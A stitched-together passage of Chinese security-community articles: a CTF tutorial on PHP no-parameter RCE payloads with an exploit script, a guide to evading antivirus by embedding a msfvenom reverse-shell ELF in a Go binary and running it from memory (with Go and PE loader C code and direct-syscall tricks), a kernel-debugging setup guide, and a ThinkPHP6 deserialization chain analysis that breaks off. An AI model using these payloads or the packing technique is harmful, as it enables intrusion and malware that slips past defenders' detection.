尝试直接redis-cli -h 127.0.0.1 -p 6379，报错`(error) NOAUTH Authentication
required.`,那这样的化我们需要一个密码。在/etc/redis，cat 6379.conf |grep pass。得到`requirepass
8a7b86a2cd89d96dfcc125ebcc0535e6`。
然后ssh登陆root即可。 | 社区文章 |
# PHP无参数RCE
因为先前只是参照大佬的payload解题，从未自己本地复现过，索性借复习的机会，在本地搭建并尝试。
题目：
**GXYCTF2019—禁止套娃**
**[极客大挑战 2020]Roamphp4-Rceme**
限制条件：
/[^\W]+\((?R)?\)/
(?R)引用当前表达式，?递归调用
或
/[^\s\(\)]+?\((?R)?\)/
以上表达式匹配这种格式的。
也就是我们需要用函数实现无参数rce。
## 测试代码
<?php
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
//index.php
目录下文件
## payload
### payload_1 getenv()
var_dump(getenv(phpinfo()));
**getenv() 获取一个环境变量的值，phpinfo() 获取全部的环境变量，其实不是很理解，直接phpinfo()就好了。**
### payload_2 getallheaders()
eval(end(getallheaders()));
**end() 将数组的内部指针移到最后一个；**
**getallheaders() 获取所有的http请求头；**
这里需要两个`eval`的原因，我认为是，如果只有一个`eval`就只是执行 `end(getallheaders());`
获取了其返回值，但是并没有执行其返回值，再加一个`eval` ，也就是获取了返回值后，再`eval()`。
如果用bp打，传最后一个似乎并不行，那么我们可以尝试修改ua头，然后用把end改成next；
### payload_3 get_defined_vars()
eval(end(current(get_defined_vars())));&jiang=phpinfo();
**`get_defined_vars()`** 返回由所有已定义变量所组成的数组，会返回
**`$_GET,$_POST,$_COOKIE,$_FILES`** 全局变量的值,返回数组顺序为
**`get->post->cookie->files`**
**`current()`** 返回数组中的当前单元，初始指向插入到数组中的第一个单元，也就是会返回 **`$_GET`** 变量的数组值。
如果需要`$post`就把`current` 改成`next` 就好。
而如果网站对`$_GET,$_POST,$_COOKIE`都做的过滤， 那我们只能从`$_FILES`入手了，exp如下：
import requests
def str2hex(payload):
txt = ''
for i in payload:
txt += hex(ord(i))[-2:]
return txt
payload = str2hex("system('cat flag.php');")
files = {
payload: b'extrader'
}
r = requests.post("http://192.168.0.107/index.php?exp=eval(hex2bin(array_rand(end(get_defined_vars()))));", files=files, allow_redirects=False) # allow_redirects=False 禁用重定向处理
print(r.content.decode())
**array_rand()：** 从数组中随机取出一个或多个单元，如果只取出一个， **`array_rand()`** 返回随机单元的键名。
否则就返回包含随机键名的数组。
### payload_4 session_start()
show_source(session_id(session_start()));
var_dump(file_get_contents(session_id(session_start())))
highlight_file(session_id(session_start()));
readfile(session_id(session_start())); 或者readgzfile();
修改cookie : PHPSESSID= filename
eval(hex2bin(session_id(session_start())));
抓包传入Cookie: PHPSESSID=("system('命令')"的十六进制)
### payload_5-scandir()
读取文件
读文件有好多操作，
当前目录：highlight_file(array_rand(array_flip(scandir(getcwd()))));
上级目录文件：highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
以上两个都是随机获取的其实，看脸。
可以配合 数组的指针，倒序，等各种方式找到我们的文件。
* **getcwd()** ：取得当前工作目录，成功则返回当前工作目录，失败返回 **`FALSE`** 。
* **dirname()** ：返回路径中的目录部分，返回 path 的父目录。 如果在 `path` 中没有斜线，则返回一个点（’ _._ ‘），表示当前目录。否则返回的是把 `path` 中结尾的 `/component`（最后一个斜线以及后面部分）去掉之后的字符串(也就是上级目录的文件路径)。
* **chdir()** ：改变目录，成功时返回 **`TRUE`** ， 或者在失败时返回 **`FALSE`** 。
* **scandir()** ：列出指定路径中的文件和目录。成功则返回包含有文件名的数组，如果失败则返回 **`FALSE`** 。如果 `directory` 不是个目录，则返回布尔值 **`FALSE`** 并生成一条 **`E_WARNING`** 级的错误。
* **array_flip()** ：交换数组中的键和值，成功时返回交换后的数组，如果失败返回 **`NULL`** 。
* **array_rand()** ：从数组中随机取出一个或多个单元，如果只取出一个(默认为1)， **array_rand()** 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后，就可以根据随机的键获取数组的随机值。
**array_flip()** 和 **array_rand()** 配合使用可随机返回当前目录下的文件名
**dirname(chdir(dirname()))** 配合切换文件路径
#### `.`
##### **current(localeconv())**
* **localeconv()** ：返回一包含本地数字及货币格式信息的数组。而数组第一项就是 `.`
##### **phpversion()**
* `phpversion()`返回php版本，如`7.3.5`
* `floor(phpversion())`返回`7`
* `sqrt(floor(phpversion()))`返回`2.6457513110646`
* `tan(floor(sqrt(floor(phpversion()))))`返回`-2.1850398632615`
* `cosh(tan(floor(sqrt(floor(phpversion())))))`返回`4.5017381103491`
* `sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))`返回`45.081318677156`
* `ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))`返回`46`
* `chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))`返回`.`
* `var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))`扫描当前目录
* `next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))`返回`..`
**floor()** ：舍去法取整， **sqrt()** ：平方根， **tan()** ：正切值， **cosh()** ：双曲余弦，
**sinh()** ：双曲正弦， **ceil()** ：进一法取整
##### **crypt()**
chr(ord(hebrevc(crypt(phpversion()))))`返回`.
* `hebrevc(crypt(arg))`可以随机生成一个hash值 第一个字符随机是 $(大概率) 或者 .(小概率) 然后通过ord chr只取第一个字符
**crypt()** ：单向字符串散列，返回散列后的字符串或一个少于 13 字符的字符串，从而保证在失败时与盐值区分开来。
**hebrevc()** ：将逻辑顺序希伯来文（logical-Hebrew）转换为视觉顺序希伯来文（visual-Hebrew），并且转换换行符，返回视觉顺序字符串。
#### 数组操作 ****
* [end()](https://www.w3school.com.cn/php/func_array_end.asp) ： 将内部指针指向数组中的最后一个元素，并输出
* [next()](https://www.w3school.com.cn/php/func_array_next.asp) ：将内部指针指向数组中的下一个元素，并输出
* [prev()](https://www.w3school.com.cn/php/func_array_prev.asp) ：将内部指针指向数组中的上一个元素，并输出
* [reset()](https://www.w3school.com.cn/php/func_array_reset.asp) ： 将内部指针指向数组中的第一个元素，并输出
* [each()](https://www.w3school.com.cn/php/func_array_each.asp) ： 返回当前元素的键名和键值，并将内部指针向前移动
#### 目录操作：
* **getchwd()** ：函数返回当前工作目录。
* **scandir()** ：函数返回指定目录中的文件和目录的数组。
* **dirname()** ：函数返回路径中的目录部分。
* **chdir()** ：函数改变当前的目录。
## 题目
### [极客大挑战 2020]Roamphp4-Rceme
swp 源码泄露
.index.php.swp 可以获取源码
swp 源码可以用vim 编辑器还原
vim -r index.php.swp
<?php
error_reporting(0);
session_start();
if(!isset($_SESSION['code'])){
$_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
}
if(isset($_POST['cmd']) and isset($_POST['code'])){
if(substr(md5($_POST['code']),0,5) !== $_SESSION['code']){
die('<script>alert(\'Captcha error~\');history.back()</script>');
}
$_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
$code = $_POST['cmd'];
if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
die('<script>alert(\'Longlone not like you~\');history.back()</script>');
}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
@eval($code);
die();
}
}
?>
我们传入的命令中不能有以下 ，
/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/，
想到是无字母数字，过滤了 异或 和或，留了取反。
同时我们的函数必须是无参的。
类似于这种，之前在buuoj上有遇到这种题目，无参数RCE。
def one(s):
ss = ""
for each in s:
ss += "%" + str(hex(255 - ord(each)))[2:].upper()
return f"[~{ss}][!%FF]("
while 1:
a = input(":>").strip(")")
aa = a.split("(")
s = ""
for each in aa[:-1]:
s += one(each)
s += ")" * (len(aa) - 1) + ";"
print(s)
利用脚本生成一下 payload，
试了好多遍，getallheaders() 在最后加的话用bp打好像并不是最后一个，试了好多种别的办法无果，但是 next()
后是ua头，于是我丧心病狂，直接改ua
利用 payload: `system(next(getallheaders()));`
这道题不能用session是因为验证码是储存在session中的，附上一个爆破验证码的脚本。
import hashlib
a=input()
for i in range(1,200000000):
x=hashlib.md5(str(i).encode(encoding='UTF-8')).hexdigest()
if (x[0:5]==a):
print(x)
print(i)
break | 社区文章 |
# 杀软的无奈-最简单的免杀（二）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
平时比较忙，抽不出来大把的时间来写文章，导致这个系列的更新太过于迟缓了。怕一直找理由鸽了自己，今天先更新一篇水文吧。主要说一下利用现成的工具完成比较简单的免杀工作。
**本文的核心目标是为了能够免杀任意的二进制，而不仅仅是为了免杀msf生成的shellcode，注意跟其他文章的区别**
## 背景知识
今天要讲的主角其实是go语言。go语言是2009年google发布的语言，由于其有类似于c和c++一样的性能，同时还具备类似于解释性语言的垃圾回收机制，并且不像java一样依赖虚拟机，优秀的跨平台优势和1.4版本之后go语言实现的支持交叉编译的编译器，让它迅速火了起来。
但是优秀的同时，它以牺牲自己二进制的体积为代价，每个go二进制都静态链接了一个runtime库，此库实现了垃圾回收、线程调度、go语言特有的关键特性等任务。此库的功能非常强大，因为导致一个简单的”hello
world”就有1700多个函数。
有如此多的函数，那从这一堆函数中找出具有恶意功能的函数简直像大海捞针一样困难，这是市面上的大部分杀毒引擎对go二进制的检测能力比较薄弱的一个原因。
本文主要是用go语言的相关工具，来彻底免杀之前会被查杀的elf恶意代码。(windows平台类似的方法，但是我并没有测试免杀效果。)
## 开始正题
**基本思想就是把一个不免杀的ELF文件作为字节数据存储在go编写的二进制中，然后go二进制执行的时候从自身读出恶意代码然后直接加载到内存中执行，保证恶意代码不落盘**
这个方法非常简单，不需要分析什么shellcode特征，甚至不需要写什么代码，就能实现效果不错的免杀，而且检测比较困难。
可选的工具有很多:
* <https://github.com/gobuffalo/packr>
* <https://github.com/rakyll/statik>
* <https://github.com/GeertJohan/go.rice>
* <https://github.com/UnnoTed/fileb0x>
* <https://github.com/mjibson/esc>
* <https://github.com/kevinburke/go-bindata>
* <https://github.com/lu4p/binclude>
* <https://github.com/omeid/go-resources>
* <https://github.com/pyros2097/go-embed>
* <https://github.com/wlbr/mule>
* <https://github.com/miscing/embed>
* <https://github.com/kyioptr/gassets>
甚至 go1.6 就默认支持<https://go.googlesource.com/proposal/+/master/design/draft-embed.md> ，你说开心不开心，默认支持的能有啥特征呢？ 哈哈哈哈
下面就先使用 <https://github.com/kevinburke/go-bindata> 来测试一下效果。
## linux平台免杀
1. 用msf生成一个后门
msfvenom -p linux/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 lhost=192.168.1.1 lport=6666 -f elf > ./test
这个样本肯定是不免杀的，上传到virustotal上看一下。
竟然才仅有4款杀毒软件报毒，这太出乎意料了，是杀毒软件提不动刀了，还是metasploit的编码器太强了？不过
anyway，我们还是用go去加载这个二进制，看一下效果。
1. 使用go-bindata 打包到一个文件中
# https://github.com/kevinburke/go-bindata
./go-bindata ./test
这样就会生成一个 `bindata.go` 的文件，里面以压缩字节的形式存储这 ./test 的数据。
接下来在 `bindata.go` 中编写main函数，来让test文件从内存执行:
const (
mfdCloexec = 0x0001 // 注意这个syscall 只有 3.17 之后的内核才支持,现在大部分的机器都支持了。
memfdCreate = 319
)
func main() {
data, err := Asset("test")
if err != nil {
// Asset was not found.
fmt.Println("read test file content error!")
}
filename := ""
fd, _, _ := syscall.Syscall(memfdCreate, uintptr(unsafe.Pointer(&filename)), uintptr(mfdCloexec), 0)
_, _ = syscall.Write(int(fd), data)
displayName := "/bin/bash"
fdPath := fmt.Sprintf("/proc/self/fd/%d", fd)
_ = syscall.Exec(fdPath, []string{displayName}, nil)
}
编译之后，发现这个后门功能正常，上传到 virustotal 再看一下效果。
效果还算理想。这里可以放任意的会被杀软干掉的二进制，应该免杀效果都是杠杠的。
## windows平台免杀
windows平台上也是同样的道理，只是windows没有 `memfd_create` 这样方便的syscall供我们调用，但是
「exe_run_in_memory」也很容易实现，下面我们尝试简单讲一下过程。
「exe_run_in_memory」可以直接用go语言实现，但是需要自己定义很多结构，而且不能像c语言那样便捷的处理PE结构，所以本文为了节省时间，直接复用了之前c语言来实现的加载的代码，然后用cgo进行调用。
用c语言来实现内存的map：
BOOL mapping(LPVOID lpData, LPVOID lpBaseAddress)
{
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpData;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((UNPTR)pDosHeader + pDosHeader->e_lfanew);
// 获取SizeOfHeaders的值: 所有头+节表头的大小
DWORD dwSizeOfHeaders = pNtHeaders->OptionalHeader.SizeOfHeaders;
// 获取节表的数量
WORD wNumberOfSections = pNtHeaders->FileHeader.NumberOfSections;
// 获取第一个节表头的地址
/*
PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pNtHeaders + sizeof(IMAGE_NT_HEADERS));
这样计算是错误的,因为 64 位程序和 32 位程序 IMAGE_NT_HEADERS 的大小不一样
*/
PIMAGE_SECTION_HEADER pSectionHeader = NULL;
if (pNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) {
// 32 位镜像
pSectionHeader = (PIMAGE_SECTION_HEADER)((UNPTR)pNtHeaders + sizeof(IMAGE_NT_HEADERS32));
}else if (pNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) {
pSectionHeader = (PIMAGE_SECTION_HEADER)((UNPTR)pNtHeaders + sizeof(IMAGE_NT_HEADERS64));
}
else {
// 无法识别的 EXE 镜像
ShowError("cann't identify file format.");
return FALSE;
}
// 加载 所有头+节表头的大小
memcpy(lpBaseAddress, lpData, dwSizeOfHeaders);
// 对齐SectionAlignment循环加载节表
WORD i = 0;
LPVOID lpSrcMem = NULL;
LPVOID lpDestMem = NULL;
DWORD dwSizeOfRawData = 0;
for (i = 0; i < wNumberOfSections; i++)
{
if ((0 == pSectionHeader->VirtualAddress) ||
(0 == pSectionHeader->SizeOfRawData))
{
pSectionHeader++;
continue;
}
lpSrcMem = (LPVOID)((UNPTR)lpData + pSectionHeader->PointerToRawData);
lpDestMem = (LPVOID)((UNPTR)lpBaseAddress + pSectionHeader->VirtualAddress);
dwSizeOfRawData = pSectionHeader->SizeOfRawData;
memcpy(lpDestMem, lpSrcMem, dwSizeOfRawData);
pSectionHeader++;
}
return TRUE;
}
解析导入表,并修改IAT地址
BOOL doImTable(LPVOID lpBaseAddress)
{
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBaseAddress;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((UNPTR)pDosHeader + pDosHeader->e_lfanew);
PIMAGE_IMPORT_DESCRIPTOR pImportTable = NULL;
if (pNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) {
// 如果是64位
PIMAGE_NT_HEADERS64 pNtHeaders64 = (PIMAGE_NT_HEADERS64)(pNtHeaders);
pImportTable = (PIMAGE_IMPORT_DESCRIPTOR)((UNPTR)pDosHeader +
pNtHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
}
else if (pNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) {
// 如果是32位
pImportTable = (PIMAGE_IMPORT_DESCRIPTOR)((UNPTR)pDosHeader +
pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
}
// 循环遍历DLL导入表中的DLL及获取导入表中的函数地址
char *lpDllName = NULL;
HMODULE hDll = NULL;
PIMAGE_THUNK_DATA lpImportNameArray = NULL;
PIMAGE_IMPORT_BY_NAME lpImportByName = NULL;
PIMAGE_THUNK_DATA lpImportFuncAddrArray = NULL;
FARPROC lpFuncAddress = NULL;
DWORD i = 0;
while (TRUE)
{
if (0 == pImportTable->OriginalFirstThunk)
{
break;
}
// 获取导入表中DLL的名称并加载DLL
lpDllName = (char *)((UNPTR)pDosHeader + pImportTable->Name);
hDll = GetModuleHandleA(lpDllName);
if (NULL == hDll)
{
hDll = LoadLibraryA(lpDllName);
if (NULL == hDll)
{
pImportTable++;
continue;
}
}
i = 0;
// 获取OriginalFirstThunk以及对应的导入函数名称表首地址
lpImportNameArray = (PIMAGE_THUNK_DATA)((UNPTR)pDosHeader + pImportTable->OriginalFirstThunk);
// 获取FirstThunk以及对应的导入函数地址表首地址
lpImportFuncAddrArray = (PIMAGE_THUNK_DATA)((UNPTR)pDosHeader + pImportTable->FirstThunk);
while (TRUE)
{
if (0 == lpImportNameArray[i].u1.AddressOfData)
{
break;
}
// 获取IMAGE_IMPORT_BY_NAME结构
lpImportByName = (PIMAGE_IMPORT_BY_NAME)((UNPTR)pDosHeader + lpImportNameArray[i].u1.AddressOfData);
// 判断导出函数是序号导出还是函数名称导出
if (0x80000000 & lpImportNameArray[i].u1.Ordinal)
{
// 序号导出
// 当IMAGE_THUNK_DATA值的最高位为1时，表示函数以序号方式输入，这时，低位被看做是一个函数序号
lpFuncAddress = GetProcAddress(hDll, (LPCSTR)(lpImportNameArray[i].u1.Ordinal & 0x0000FFFF));
}
else
{
// 名称导出
lpFuncAddress = GetProcAddress(hDll, (LPCSTR)lpImportByName->Name);
}
// 注意此处的函数地址表的赋值，要对照PE格式进行装载，不要理解错了！！！
lpImportFuncAddrArray[i].u1.Function = (UNPTR)lpFuncAddress;
i++;
}
pImportTable++;
}
return TRUE;
}
解析重定位信息：
BOOL DoReTable(LPVOID lpBaseAddress)
{
/* 重定位表的结构：
// DWORD sectionAddress, DWORD size (包括本节需要重定位的数据)
// 例如 1000节需要修正5个重定位数据的话，重定位表的数据是
// 00 10 00 00 14 00 00 00 xxxx xxxx xxxx xxxx xxxx 0000
// ----------- ----------- ---- // 给出节的偏移 总尺寸=8+6*2 需要修正的地址 用于对齐4字节
// 重定位表是若干个相连，如果address 和 size都是0 表示结束
// 需要修正的地址是12位的，高4位是形态字，intel cpu下是3
*/
//假设NewBase是0x600000,而文件中设置的缺省ImageBase是0x400000,则修正偏移量就是0x200000
//注意重定位表的位置可能和硬盘文件中的偏移地址不同，应该使用加载后的地址
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBaseAddress;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((UNPTR)pDosHeader + pDosHeader->e_lfanew);
PIMAGE_BASE_RELOCATION pLoc = NULL;
ULONGLONG ImageBase = 0;
if (pNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) {
// 如果是64位
PIMAGE_NT_HEADERS64 pNtHeaders64 = (PIMAGE_NT_HEADERS64)(pNtHeaders);
pLoc = (PIMAGE_BASE_RELOCATION)((UNPTR)pDosHeader + pNtHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
ImageBase = pNtHeaders64->OptionalHeader.ImageBase;
}
else if (pNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) {
// 如果是32位
pLoc = (PIMAGE_BASE_RELOCATION)((UNPTR)pDosHeader + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
ImageBase = pNtHeaders->OptionalHeader.ImageBase;
}
// 判断是否有 重定位表
if ((PVOID)pLoc == (PVOID)pDosHeader)
{
// 重定位表 为空
return TRUE;
}
while ((pLoc->VirtualAddress + pLoc->SizeOfBlock) != 0) //开始扫描重定位表
{
WORD *pLocData = (WORD *)((PBYTE)pLoc + sizeof(IMAGE_BASE_RELOCATION));
//计算本节需要修正的重定位项（地址）的数目
int nNumberOfReloc = (pLoc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
for (int i = 0; i < nNumberOfReloc; i++)
{
// 每个WORD由两部分组成。高4位指出了重定位的类型，WINNT.H中的一系列IMAGE_REL_BASED_xxx定义了重定位类型的取值。
// 低12位是相对于VirtualAddress域的偏移，指出了必须进行重定位的位置。
#ifdef _WIN64
if ((DWORD)(pLocData[i] & 0x0000F000) == 0x0000A000)
{
// 64位dll重定位，IMAGE_REL_BASED_DIR64
// 对于IA-64的可执行文件，重定位似乎总是IMAGE_REL_BASED_DIR64类型的。
UNPTR* pAddress = (UNPTR *)((PBYTE)pDosHeader + pLoc->VirtualAddress + (pLocData[i] & 0x0FFF));
UNPTR ullDelta = (UNPTR)pDosHeader - ImageBase;
*pAddress += ullDelta;
}
#else
if ((DWORD)(pLocData[i] & 0x0000F000) == 0x00003000) //这是一个需要修正的地址
{
// 32位dll重定位，IMAGE_REL_BASED_HIGHLOW
// 对于x86的可执行文件，所有的基址重定位都是IMAGE_REL_BASED_HIGHLOW类型的。
UNPTR* pAddress = (UNPTR*)((PBYTE)pDosHeader + pLoc->VirtualAddress + (pLocData[i] & 0x0FFF));
UNPTR dwDelta = (UNPTR)pDosHeader - ImageBase;
*pAddress += dwDelta;
}
#endif
}
//转移到下一个节进行处理
pLoc = (PIMAGE_BASE_RELOCATION)((PBYTE)pLoc + pLoc->SizeOfBlock);
}
return TRUE;
}
由于函数 `VirtualAlloc`
是杀毒软件关注的重点函数，所以直接使用这个函数会被大多数的杀软杀掉，本文在VT上测试的时候是`18/69`,而且直接被火绒干掉，效果非常不理想:
后来我利用项目
<https://github.com/mai1zhi2/SysWhispers2_x86/tree/main/SysWhispers2_x86_WOW64Gate>中函数
`NtAllocateVirtualMemory` 的direct syscall 汇编代码来代替函数调用，然后获得了比较好的免杀效果。
同样使用 `msf` 生成的reverse_tcp后门进行测试：
免杀前的是 `52/70`
免杀后是 `12/67`:
有几款杀软报毒`Exploit.Shellcode`是因为他们有沙箱，而且可以看到样本的外联行为。剩下的几款杀毒引擎一看见go语言的二进制就报毒，因为我测试go语言写的`hello
world` 他们也会报毒，所以没有参考价值。
虚拟执行能力比较强的火绒也无法检出。
添加一个编码器 `x86/shikata_ga_nai` 之后的效果看起来真的不错。
## 代码实现
代码比较简单,放在了github上 <https://github.com/wonderkun/go-packer>，
需要说明一下的是,由于`SysWhispers2_x86_WOW64Gate`中有代码是使用汇编实现的，为了能使用`MingGw`进行链接，所以必须使用`uasm`进行编译(不能使用vs的masm进行编译，否则无法完成静态链接)。
但是mac平台安装`uasm`比较麻烦，所以只能在windows平台上进行编译。所以本代码中放的直接就是编译好的32位的静态链接库，仅支持生成32位二进制文件，如果想生成64位的二进制文件，请自行编译静态态链接库，并修改makefile。
## reference
* <https://www.proofpoint.com/us/blog/threat-insight/ta416-goes-ground-and-returns-golang-plugx-malware-loader>
* <https://github.com/guitmz/ezuri>
* <https://www.guitmz.com/running-elf-from-memory/>
* <https://sysopfb.github.io/malware/2020/02/28/Golang-Wrapper-on-an-old-malware.html>
* <https://github.com/mai1zhi2/SysWhispers2_x86> | 社区文章 |
# 前言
在Linux上面搞事情很多东西都可能需要我们利用源码来自己编译,相对于Windows来讲可能会比较麻烦和耗时,这个过程中肯定会遇到很多报错,所以一定要有耐心.....
# 方法步骤
## 编译内核
首先到linux内核的[官网](https://www.kernel.org/)下载一份内核源代码并解压:
至于需要下载的版本,随意就好,我下载的是5.2.1的....
然后先安装有些依赖:
sudo apt-get install git fakeroot build-essential ncurses-dev xz-utils libssl-dev bc
这些依赖并不一定全部概况完了,在编译的过程中可能在报错信息中还要提示你安装一些依赖,具体根据报错提示再进行安装就可以...
然后进入解压目录:
make menuconfig
这里会跳出一个设置框:
注意下面的配置就好:
KernelHacking -->
选中Compile the kernel with debug info
选中Compile the kernel with frame pointers
Processor type and features-->
去掉Paravirtualized guest support
然后sava,保存.config就可以:
然后:
make -j4
虚拟机分配了4个核，使用-j4可以快一点....
这个过程是比较漫长的,如果你的kernel内核比较低或依赖不够的话,就会报比较多的错误,这需要根据你具体情况百度了,耐心...
当make结束了就可以:
make all
还是可能会报错,不过都可以百度到,最多改一下Makefile文件的,不紧张...
最后就可以:
make modules
我们可以从./arch/x86/boot/拿到bzImage，从源码根目录拿到vmlinux....
## 编译busybox && 构建文件系统
cd ..
wget https://busybox.net/downloads/busybox-1.31.0.tar.bz2
tar -jxvf busybox-1.19.4.tar.bz2
cd busybox-1.19.4
make menuconfig
make install
其中busybox-1.31.0.tar.bz2建议下载最新版的...
同样make menuconfig的时候需要设置:
Busybox Settings -> Build Options -> Build Busybox as a static binary 编译成静态文件
关闭下面两个选项:
Linux System Utilities -> [] Support mounting NFS file system 网络文件系统
Networking Utilities -> [] inetd (Internet超级服务器)
编译完make install后，在busybox源代码的根目录下会有一个 _install目录下会存放好编译后的文件:
然后我们需要在里面配置一下:
cd _install
mkdir proc sys dev etc etc/init.d
vim etc/init.d/rcS
chmod +x etc/init.d/rcS
其中vim etc/init.d/rcS的内容:
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
/sbin/mdev -s
然后利用命令创建文件系统:
find . | cpio -o --format=newc > ../rootfs.img
最后我们就可以使用 qemu 来运行内核了:
qemu-system-x86_64 \
-kernel ~/tools/linux-5.2.1/arch/x86_64/boot/bzImage \
-initrd ~/tools/busybox-1.31.0/rootfs.img \
-append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" \
-cpu kvm64,+smep,+smap \
-nographic \
-gdb tcp::1234
其中:
-cpu kvm64,+smep,+smap 设置CPU的安全选项，这里开启了smap和smep
-kernel 设置内核bzImage文件的路径
-initrd 设置刚才利用busybox创建的rootfs.img，作为内核启动的文件系统
-gdb tcp::1234 设置gdb的调试端口为1234
## 加载驱动
加载驱动很简单,只需要命令insmod就可以,然后rmmod可以卸载驱动,lsmod可以查看加载了的驱动....
## gdb调试
我们用qemu运行内核的时候，加了一个-gdb tcp::1234的参数， qemu会在1234端口起一个gdb_server我们直接用gdb连上去:
同时我们为了调试内核模块，利用add-symbol-file命令加载了驱动的符号文件,并且加上了系统里面驱动的加载基地址....
# 后续
之后我会主要利用kernel pwn来帮助学习Linux kernel
Exploit内核漏洞学习,掌握一些基本的内核漏洞利用技巧....另外如果文章有错误和改进之处,还请大家可以指出.... | 社区文章 |
[toc]
前几天在 Buuctf 上做了 [安洵杯 2019]iamthinking 这道题，题目给了源码，目的是让通过pop链审计出ThinkPHP6反序列化漏洞。
这里总结一下ThinkPHP6的反序列化漏洞的利用。
## 搭建环境
composer create-project topthink/think=6.0.x-dev thinkphp-v6.0
cd thinkphp-v6.0
php think run
ThinkPHP6需要php7.1及以上的环境才能搭建成功。
## 利用条件
这个漏洞的利用需要利用ThinkPHP进行二次开发，当源码中存在unserialize()函数且参数可控时，既可触发这个洞。
下面手动设置漏洞点，在Index控制器中写入：
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
$c = unserialize($_GET['whoami']); // 参数可控的unserialize函数
var_dump($c);
return 'Welcome to ThinkPHP!';
}
}
下面我们开始研究POP链的构造。
## __destruct() 链构造
在 ThinkPHP5.x 的POP链中，入口都是 `think\process\pipes\Windows` 类，通过该类触发任意类的
`__toString` 方法。但是 ThinkPHP6.x 的代码移除了 `think\process\pipes\Windows` 类，而POP链
`__toString` 之后的 Gadget 仍然存在，所以我们得继续寻找可以触发 `__toString` 方法的点。所有，总的目的就是跟踪寻找可以触发
`__toString()` 魔术方法的点。
先从起点 `__destruct()` 或 `__wakeup` 方法开始，因为它们就是unserialize的触发点。
### （1）寻找 __destruct 方法
我们全局搜索 `__destruct()` 方法，这里发现了 /vendor/topthink/think-orm/src/Model.php 中
`Model` 类的 `__destruct` 方法：
并且当满足 `$this->lazySave==true` 时，它里面含有save()方法会被触发，我们跟进save()方法。
### （2）跟进save()方法
发现对 `$this->exists`
属性进行判断，如果为true则调用updateData()方法，如果为false则调用insertData()方法。而要想到达这一步，则要先避免被前面的判断给return掉，所以需要先满足下面这个if语句：
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
只需 `$this->isEmpty()` 为返回false，`$this->trigger('BeforeWrite')` 返回true即可。
* 先跟进 `$this->isEmpty()` 方法：
可见只需要满足`$this->data`不为空即可。
* 再跟进 `$this->trigger()` 方法（位于vendor\topthink\think-orm\src\model\concern\ModelEvent.php中）：
可见只需要满足 `$this->withEvent == false` 即可返回true。
在通过if判断语句之后，就可以进入到：
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
当 `$this->exists == true` 时进入 `$this->updateData()`；当 `$this->exists == false`
时进入 `$this->insertData()` 。
分别跟进这两个方法，发现 `updateData()` 存在继续利用的点，所以需要 `$this->exists == true`，跟进分析。
### （3）跟进updateData()方法
这里下一步的利用点存在于 `$this->checkAllowFields()` 中，但是要进入并调用该函数，需要先通过①②两处的if语句：
**通过①处if语句：** 通过上面对trigger()方法的分析，我们知道需要令 `$this->withEvent == false`
即可通过。由于前面已经绕过了save()方法中的trigger()，所以这里就不用管了。
**通过②处if语句：** 需要 `$data == 1`（非空）即可，所以我们跟进 `$this->getChangedData()`
方法（位于vendor\topthink\think-orm\src\model\concern\Attribute.php中）看一下：
可见，我们只需要令 `$this->force == true` 即可直接返回 `$this-data`，而我们之前也需要设置 `$this-data`
为非空。
回到 `updateData()` 中，之后就可以成功调用到了 `$this->checkAllowFields()` 。
### （4）跟进checkAllowFields()方法
可见，要想成功进入并执行 `$this->db()` 方法，我们要先通过前面的两个if语句：
**通过①处if语句：** 只需令 `$this->field` 为空。
**通过②处if语句：** 只需令 `$this->schema` 非空。
